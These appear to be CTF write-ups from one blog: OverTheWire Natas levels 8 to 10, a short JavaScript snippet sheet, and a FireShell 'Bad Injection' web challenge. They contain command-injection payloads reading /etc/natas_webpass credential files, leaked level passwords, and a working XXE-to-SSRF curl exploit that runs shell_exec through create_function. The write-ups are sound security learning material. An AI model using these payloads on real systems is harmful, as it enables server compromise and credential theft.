Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.
It’s a simple web page with a basic input form, very similar to the previous one but they have added a character filter, we proceed to click the View sourcecode and we are redirected to index-source.html
This is supposed to be the backend code of the html form.
The preg_match(‘/[;|&]/’,$key) function will make sure to drop any search request that contains the ; or & characters so we cannot execute additional commands like we did on the previous level, but instead of trying to bypass this filter there is an easier way to solve this level, the grep command supports search for a pattern in multiple files so we are going to exploit that, the goal is to execute something like this:
Since ” /etc/natas_webpass/natas11 doesn’t contains any of the filtered characters we can just send this payload through the form.
The flag for the next level, natas11, is: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
In this challenge we exploit a command injection vulnerability that essentially allow us to execute arbitrary commands on the server, this time there was a security mechanism in place but the fundamental problem was still there. Depending on the privileges of the user running the web server we might read, write or delete files.
Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.
It’s just a simple web page with a basic input form, if we type nonsense nothing happens, we proceed to click the View sourcecode and we are redirected to index-source.html
This is supposed to be the backend code of the html form.
The vulnerability in this code happens when calling the passthru function, we are reading user input directly from the needle request parameter, then saving it into the $key variable and using it without any kind of sanitization when calling the function, that’s essentially command injection. We are going to try to execute commands in the web server by exploiting this vulnerability.
Sending ;ls -la;
Results in all files on the current directory to be listed
I was a little bit lost at this point but then I remember the CTF instructions.
Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
So we do ;cat /etc/natas_webpass/natas10;
The flag for the next level, natas10, is: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
As mentioned before, this challenge we exploit a command injection vulnerability that essentially allow us to execute arbitrary commands on the server, depending on the privileges of the user running the web server we might read, write or delete files.
Some commands and code snippets I use rarely during CTFs or my daily work, but still I need them from time to time and I’m very lazy to remember them. This note may grow over time.
Javascript
Playing with dec, hexa and bin (not really) in JS
String.fromCharCode(0x41) // 'A'
parseInt('0xf', 16) // 15
var n = 15
n.toString(16) // 'f'
n.toString(2) // '1111'
n.toString() // '15'
var n = 'A'
n.charCodeAt() // 65
// dec to hex
n.charCodeAt().toString(16) // '41'
// dec to bin
n.charCodeAt().toString(2) // '1000001'
// dec to hex
parseInt(255).toString(16) // 'ff'
// dec to bin
parseInt(5).toString(2) // '101'
Simple HTTP GET request using nodejs
const https = require('https');
https.get('https://www.alevsk.com', (resp) => {
let data = '';
resp.on('data', (chunk) => {
data += chunk;
});
resp.on('end', () => {
//DO something with data
});
}).on("error", (err) => {
console.log("Error: " + err.message);
});
Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.
It’s just a simple web page with a basic input form, if we type nonsense we get an error message displaying Wrong secret, we proceed to click the the View sourcecode
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
This is supposed to be the backend code of the HTML page we just saw, the important part of this challenge is in the PHP code functions, taking a quick look the data flow looks like this:
Check if submit key exists on $_POST
Pass $_POST[‘secret’] to encodeSecret function
encodeSecret function will apply some transformation to the secret and return it
The transformed secret must be equal to 3d3d516343746d4d6d6c315669563362, otherwise we are getting the Wrong secret error we saw already
As I say before, the important part is happening inside the encodeSecret function, the code is basically doing this:
So we need to perform exactly the same operations but in reverse order to obtain the original secret, ie: the old bin2hex should be hex2bin, I don’t know if we should call this reverse engineering, anyway ¯\_(ツ)_/¯
We get the secret: oubWYf2kBq, we try it on the input form.
The flag for the next level, natas9, is: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
In this challenge we take advantage of a security vulnerability called Source code disclosure and then we did basic reverse engineering on the PHP code.
Hi everybody, this is the first CTF I play this year, it was organized by the FireShell Security team (thank you so much guys!) and this the writeup for the Bad Injection challenge from the web category.
This challenge was special because I played with some folks from work, special thanks to yovasx2 for playing this CTF with me 🙂
The challenge starts by giving us an IP address running a web server on the Internet: http://68.183.31.62:94
There is nothing interesting in the website besides a section called List, this section displays an image with an interesting URL.
The resources are loaded using some kind of downloading script, the download script receives two parameters, file and hash, the hash corresponds to the hashed version of the value of the file parameter.
In the above code we notice two things, the location in the server were the application “lives” and also the existence of the Routes.php file, we proceed to download the file.
The custom route receives some request body and if the length is greater that 1 calls the Test function from the Custom class.
The admin route can receive two parameters, rss and order, if both exists then a validation happens, the validation checks if the request comes directly from 127.0.0.1 which is localhost, if this is true then the sort function from the Admin class is called.
Here are some other Interesting files I downloaded based on what we learned from the index.php file.
We start looking at the Custom.php and Admin.php controllers, the Custom class looks like this.
class Custom extends Controller{
public static function Test($string){
$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
$test = $root->name;
echo $test;
}
}
The Test method receives an string which then is parsed as an XML, the resulting object should contain a name attribute that is printed back to the user. The Admin class looks like this.
That it’s! the sort function uses the create_function method internally, the create_function method is very similar to the eval method, meaning if we can reach that part of the code, essentially we we can achieve code execution on the server 🙂 now the problem is how to do that since this function can only be called if the request is coming from localhost.
Remember the Test function accessible via the /custom path? that’s our way in! this function receives some input and then parse it as XML, we can take advantage of this vulnerable parser and exploit a vulnerability called XML External Entity (XXE) Processing which essentially allow us to load remote (or internal) resources.
I’ll explain this in the following example, on a command line we start by defining some variables so it’s more easy to work.
$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=https://www.alevsk.com">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d
In the second line we are defining our XML payload, we are try to load an external resource inside the DOCTYPE tag and we are saving the response on a “variable” called test (wrapped by root and name tags), then we are doing a post request to the vulnerable service, if you are wondering why do we need &test that’s because our payload will be handled by:
The simplexml_load_string is going to process our input and then return an object, that object is expected to have a name attribute which is stored in the $test variable and then printed to the user, we are essentially using this vulnerable service as a proxy 🙂
Now, instead of querying https://www.alevsk.com we are going to do a request to http://68.183.31.62:94/admin?rss=SOME_URL&order=PAYLOAD and since the IP address of the server is the same IP of the client making the request (localhost) boom! we just bypass the admin validation and now can reach the vulnerable sort function in the Admin controller.
Exploiting the create_function call was a little bit tricky at the beginning, it required some work crafting the PHP payload in a way the final result was valid php code without any syntactic error.
According to the PHP documentation, this function receives two string parameters, the first one is the parameters and the second one is the actual code of the function we want to generate.
The sort function receives two parameters, $url and $order, we control both of them but the important one is $order because it’s going to be replaced in the string of the second parameter of the create_function function.
After some thinking I came with this idea, I’ll explain why.
Maybe I over complicate the things but I remember having some issues with single, double quotes and parentheses, anyway the result is valid PHP code :), the ($aaa=” thing at the end is important because it allow us to wrap the rest of the code (everything after shell_exec) into a string variable (like ignoring or skipping the code).
Note: Since I had access to the source code I did several test on my local environment so once I got a working payload I was able to put an exploit together, I needed to encode first the code into the xml before sending the post request.
Putting everything together looks like this.
$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=https%3A%2F%2Fwww.website.com%2Fpath%2Fxxe.xml&order=id%2C%20null)%20%26%26%20die(shell_exec(%27ls%20-la%20%2F%27))%3B%20(%24aaa%3D%22">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2197 100 1892 100 305 6348 1023 --:--:-- --:--:-- --:--:-- 7347
total 116
drwxr-xr-x 1 root root 4096 Dec 26 18:10 .
drwxr-xr-x 1 root root 4096 Dec 26 18:10 ..
-rwxr-xr-x 1 root root 0 Dec 25 23:47 .dockerenv
drwxr-xr-x 1 root root 4096 Dec 25 23:50 app
drwxr-xr-x 1 root root 4096 Dec 4 15:47 bin
drwxr-xr-x 2 root root 4096 Apr 10 2014 boot
-rwxr-xr-x 1 root root 1122 Feb 15 2016 create_mysql_admin_user.sh
-rw-r--r-- 1 root root 31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7
drwxr-xr-x 5 root root 360 Dec 25 23:47 dev
drwxr-xr-x 1 root root 4096 Dec 25 23:55 etc
drwxr-xr-x 2 root root 4096 Apr 10 2014 home
drwxr-xr-x 1 root root 4096 Feb 15 2016 lib
drwxr-xr-x 2 root root 4096 Jan 19 2016 lib64
drwxr-xr-x 2 root root 4096 Jan 19 2016 media
drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt
drwxr-xr-x 2 root root 4096 Jan 19 2016 opt
dr-xr-xr-x 331 root root 0 Dec 25 23:47 proc
drwx------ 1 root root 4096 Dec 26 18:10 root
drwxr-xr-x 1 root root 4096 Feb 15 2016 run
-rwxr-xr-x 1 root root 549 Feb 15 2016 run.sh
drwxr-xr-x 1 root root 4096 Jan 19 2016 sbin
drwxr-xr-x 2 root root 4096 Jan 19 2016 srv
-rwxr-xr-x 1 root root 67 Feb 15 2016 start-apache2.sh
-rwxr-xr-x 1 root root 29 Feb 15 2016 start-mysqld.sh
dr-xr-xr-x 13 root root 0 Jan 26 19:06 sys
drwxrwxrwt 1 root root 4096 Jan 27 03:30 tmp
drwxr-xr-x 1 root root 4096 Feb 15 2016 usr
drwxr-xr-x 1 root root 4096 Feb 15 2016 var
The flag was inside the da0f72d5d79169971b62a479c34198e7 file, so we just cat the file and got the flag: f#{1_d0nt_kn0w_wh4t_i4m_d01ng}
Happy hacking 🙂
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